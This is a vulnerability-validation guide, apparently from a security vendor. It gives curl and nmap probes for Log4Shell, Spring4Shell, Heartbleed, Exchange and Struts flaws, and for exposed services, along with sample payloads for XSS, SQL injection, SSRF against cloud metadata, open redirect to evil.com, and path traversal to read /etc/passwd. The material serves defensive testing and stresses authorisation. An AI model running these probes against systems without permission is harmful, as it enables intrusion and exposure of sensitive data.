How to Validate Vulnerabilities: From Alert to Confirmed Finding

Why Validation Matters

Vulnerability scanners are essential tools, but they're not perfect. They report what might be vulnerable based on version detection, signatures, and heuristics. Validation confirms whether a vulnerability actually exists and is exploitable in your environment.

The Cost of Not Validating

• Chasing false positives: Teams waste hours patching or mitigating vulnerabilities that don't actually affect them
• Alert fatigue: When everything is a P1, nothing is a P1. Teams start ignoring alerts
• Misallocated resources: Critical vulnerabilities get delayed while teams chase phantom issues
• Loss of credibility: Reporting unvalidated findings erodes trust with stakeholders

The Value of Validation

• Confidence: Validated findings can be escalated with certainty
• Prioritization: Focus remediation on confirmed, exploitable issues
• Evidence: Validation produces proof for compliance and audit requirements
• Communication: "I confirmed this is exploitable" carries more weight than "the scanner says so"

Validation Fundamentals

Before diving into specific vulnerabilities, let's establish the tools and techniques you'll use for validation.

Tools You'll Need

• curl: HTTP client for testing web vulnerabilities
• nmap: Port scanner with vulnerability detection scripts
• nc (netcat): Basic connectivity testing
• Browser DevTools: Inspecting responses and network traffic
• Callback server: For out-of-band detection (Burp Collaborator, interactsh, etc.)

Basic Connectivity Checks

Before testing for vulnerabilities, confirm the target is reachable:

# Check if a port is open and responding
curl -v --connect-timeout 5 https://target.com:443

# Check HTTP response headers
curl -I https://target.com

# Check if a TCP port accepts connections
nc -zv target.com 22
nc -zv target.com 3389

# Check service version with nmap
nmap -sV -p 443 target.com

Confidence Levels

Assign confidence to your validation results:

Validating Common CVEs

Here are validation techniques for frequently encountered critical CVEs. These commands are designed to confirm vulnerability without causing damage.

Log4j (CVE-2021-44228)

Log4Shell is a critical remote code execution vulnerability in Apache Log4j 2.x. It allows attackers to execute arbitrary code by injecting JNDI lookup strings into logged data.

# Safe detection using DNS callback
# Replace YOUR-CALLBACK-SERVER with your Burp Collaborator/interactsh domain

# Test via User-Agent header
curl -H 'User-Agent: ${jndi:ldap://YOUR-CALLBACK-SERVER/log4j-ua}' https://target.com

# Test via X-Api-Version header
curl -H 'X-Api-Version: ${jndi:ldap://YOUR-CALLBACK-SERVER/log4j-api}' https://target.com

# Test via query parameter
curl 'https://target.com/api?search=${jndi:ldap://YOUR-CALLBACK-SERVER/log4j-param}'

# Test via POST body
curl -X POST https://target.com/api \
  -H 'Content-Type: application/json' \
  -d '{"name":"${jndi:ldap://YOUR-CALLBACK-SERVER/log4j-body}"}'

What to look for: DNS or LDAP callback to your server indicates vulnerability. The application is parsing and executing the JNDI lookup.

Spring4Shell (CVE-2022-22965)

Spring4Shell affects Spring Framework applications running on JDK 9+ with specific configurations. It allows remote code execution through class loader manipulation.

# Check for vulnerable endpoint pattern
# A non-error response or behavior change indicates potential vulnerability

curl -X POST 'https://target.com/path' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'class.module.classLoader.URLs[0]=test'

# Check for Spring error page (indicates Spring Framework)
curl -I 'https://target.com/nonexistent-page-12345'

# Version detection via actuator (if exposed)
curl 'https://target.com/actuator/info'
curl 'https://target.com/actuator/env'

What to look for: Non-error response to the classLoader test, or Spring-specific error pages that reveal framework usage.

Heartbleed (CVE-2014-0160)

Heartbleed is an OpenSSL vulnerability that allows attackers to read memory from affected servers, potentially exposing private keys and sensitive data.

# Using nmap's ssl-heartbleed script
nmap -p 443 --script ssl-heartbleed target.com

# Check OpenSSL version (if accessible)
openssl s_client -connect target.com:443 2>/dev/null | grep -i 'SSL-Session\|Protocol\|Cipher'

# Alternative with testssl.sh
./testssl.sh --heartbleed target.com:443

What to look for: Nmap output stating "VULNERABLE" for ssl-heartbleed script.

ProxyLogon / ProxyShell (Exchange)

These Exchange Server vulnerabilities allow pre-authentication remote code execution. Validation focuses on version detection and endpoint accessibility.

# Check Exchange version via OWA
curl -I 'https://target.com/owa/auth/logon.aspx' | grep -i 'x-owa-version'

# Check for exposed MAPI endpoint (ProxyShell indicator)
curl -I 'https://target.com/mapi/nspi/'

# Check for Autodiscover endpoint
curl -I 'https://target.com/autodiscover/autodiscover.xml'

# Check ECP accessibility
curl -I 'https://target.com/ecp/'

What to look for: Version headers revealing unpatched Exchange (pre-April 2021 for ProxyLogon, pre-July 2021 for ProxyShell).

Apache Struts (CVE-2017-5638)

Struts vulnerability allows remote code execution via crafted Content-Type headers.

# Check for Struts-specific error behavior
curl -I -H 'Content-Type: %{invalid}' 'https://target.com/struts/action'

# Look for .action or .do endpoints (Struts indicators)
curl -I 'https://target.com/login.action'
curl -I 'https://target.com/submit.do'

# Check for Struts error messages in response
curl 'https://target.com/' | grep -i 'struts\|ognl'

Verifying Exposed Services

Beyond CVEs, validating exposed services confirms that management interfaces and protocols are actually reachable from the internet.

Exposed RDP (Port 3389)

# Check if RDP responds
nc -zv target.com 3389

# Get RDP service information
nmap -p 3389 --script rdp-ntlm-info target.com

# Check NLA status
nmap -p 3389 --script rdp-enum-encryption target.com

See also: Exposed RDP Response Guide for complete containment and remediation steps.

Exposed SSH (Port 22)

# Check SSH version and key exchange
ssh -v -o ConnectTimeout=5 -o StrictHostKeyChecking=no target.com 2>&1 | head -30

# Nmap version and algorithm detection
nmap -p 22 -sV --script ssh2-enum-algos target.com

# Check supported authentication methods
nmap -p 22 --script ssh-auth-methods target.com

See also: Exposed SSH Response Guide for hardening recommendations.

Exposed Admin Panels

# Check common admin paths
curl -I https://target.com/admin
curl -I https://target.com/wp-admin
curl -I https://target.com/administrator
curl -I https://target.com/phpmyadmin
curl -I https://target.com/cpanel
curl -I https://target.com/jenkins
curl -I https://target.com/manager/html

# Check response codes:
# 200 = accessible
# 403 = exists but blocked
# 401 = requires auth (still exposed!)
# 404 = not found

See also: Exposed Admin Panels Guide for prioritization and remediation.

Exposed Cloud Storage

# AWS S3 - check if bucket is public
curl -I https://bucketname.s3.amazonaws.com
curl https://bucketname.s3.amazonaws.com?list-type=2

# Azure Blob Storage
curl -I https://accountname.blob.core.windows.net/containername
curl 'https://accountname.blob.core.windows.net/containername?restype=container&comp=list'

# Google Cloud Storage
curl -I https://storage.googleapis.com/bucketname
curl https://storage.googleapis.com/bucketname

See also: Cloud Storage Exposure Guide for immediate response steps.

Exposed Databases

# MySQL (3306)
nc -zv target.com 3306

# PostgreSQL (5432)
nc -zv target.com 5432

# MongoDB (27017)
nc -zv target.com 27017

# Redis (6379)
nc -zv target.com 6379
# If connected, try: INFO (unauthenticated access)

# Elasticsearch (9200)
curl http://target.com:9200
curl http://target.com:9200/_cat/indices

Web Application Testing Basics

Reflected XSS Detection

# Test for reflection (look for unescaped output)
curl 'https://target.com/search?q=<script>alert(1)</script>'

# Alternative payloads for filtering bypass
curl 'https://target.com/search?q=<img src=x onerror=alert(1)>'
curl 'https://target.com/search?q="><script>alert(1)</script>'

# Check the response for unescaped output
curl 'https://target.com/search?q=TESTINPUT12345' | grep 'TESTINPUT12345'

What to look for: Your input reflected in the response without HTML encoding (e.g., < not converted to &lt;).

SQL Injection Detection

# Error-based detection (look for SQL error messages)
curl "https://target.com/product?id=1'"
curl "https://target.com/product?id=1%27"

# Boolean-based detection (compare responses)
curl "https://target.com/product?id=1 AND 1=1"
curl "https://target.com/product?id=1 AND 1=2"

# Time-based detection (response delay indicates vuln)
curl "https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--"
curl "https://target.com/product?id=1' AND SLEEP(5)--"

What to look for: SQL error messages (syntax error, unterminated string), different responses for true/false conditions, or delayed responses.

Open Redirect

# Check redirect behavior (examine Location header)
curl -I 'https://target.com/redirect?url=https://evil.com'
curl -I 'https://target.com/login?next=https://evil.com'
curl -I 'https://target.com/goto?link=//evil.com'

# Common parameter names to test
# url, redirect, next, return, returnUrl, goto, link, target, dest

What to look for: Location header pointing to an external domain you control.

Server-Side Request Forgery (SSRF)

# Test with callback server
curl 'https://target.com/fetch?url=http://YOUR-CALLBACK-SERVER/ssrf-test'

# Test for internal access
curl 'https://target.com/fetch?url=http://127.0.0.1'
curl 'https://target.com/fetch?url=http://localhost'
curl 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/'

# Common SSRF parameter names
# url, uri, path, src, dest, redirect, file, feed, proxy

What to look for: Callback received, or internal data returned (especially AWS metadata).

Directory Traversal

# Test path traversal
curl 'https://target.com/file?name=../../../etc/passwd'
curl 'https://target.com/download?path=....//....//etc/passwd'
curl 'https://target.com/view?doc=..\..\..\windows\win.ini'

# URL-encoded variants
curl 'https://target.com/file?name=%2e%2e%2f%2e%2e%2fetc/passwd'

What to look for: Contents of system files in the response (passwd entries, win.ini contents).

How DriftAlarm Validates

Multi-Engine Scanning

We correlate findings across multiple detection engines. A vulnerability flagged by multiple sources has higher confidence than a single-source detection.

• Nuclei templates for CVE detection
• Custom validation scripts for common exposures
• Version fingerprinting and correlation
• Configuration weakness detection

Out-of-Band Verification

For blind vulnerabilities like Log4j and SSRF, we use out-of-band callback infrastructure:

• DNS callbacks for JNDI injection
• HTTP callbacks for SSRF and blind XSS
• Unique identifiers per test for accurate attribution
• No exploitation—only detection confirmation

Confidence Scoring

Every finding includes a confidence score based on validation results:

• High confidence: Callback received, exploit confirmed, or data extracted
• Medium confidence: Vulnerable version confirmed, behavior indicates vuln
• Low confidence: Signature match only, needs manual verification

What DriftAlarm Validates Automatically

Safe Testing Practices

Validation should confirm vulnerabilities exist without causing harm. Follow these principles for safe, ethical testing.

Authorization First

• Written permission: Always have documented authorization before testing
• Scope definition: Know exactly which systems you're allowed to test
• Rules of engagement: Understand what testing is permitted
• Emergency contacts: Know who to call if something goes wrong

Non-Destructive Payloads

• Read, don't write: Use payloads that confirm vuln without modifying data
• Callbacks over exploitation: DNS/HTTP callbacks prove vuln without RCE
• Minimum impact: Test once, don't flood with requests
• No data exfiltration: Confirm access exists without extracting real data

Documentation Requirements

• Timestamp everything: When you tested, what you tested
• Capture evidence: Screenshots, response data, callback logs
• Note methodology: Exactly what commands/tools you used
• Record outcomes: Confirmed/not confirmed/inconclusive

When to Stop

• Vulnerability is confirmed—no need to test further
• You encounter unexpected behavior (data corruption, service disruption)
• You reach scope boundaries
• You're unsure if continued testing is authorized

Related Security Guides

Continue building your security validation and response capabilities:

• Attack Surface Monitoring Guide — Learn the fundamentals of continuous attack surface monitoring and exposure prioritization.
• Exposed RDP Guide — Detailed response playbook when you discover exposed Remote Desktop Protocol.
• Exposed SSH Guide — How to respond to and harden exposed SSH services.
• Exposed Admin Panels Guide — Prioritization and remediation for exposed web management interfaces.
• Cloud Storage Exposure Guide — Immediate response for public S3 buckets and Azure Blob storage.
• EOL Software Guide — Handling end-of-life software with known vulnerabilities.

Summary: Validation Checklist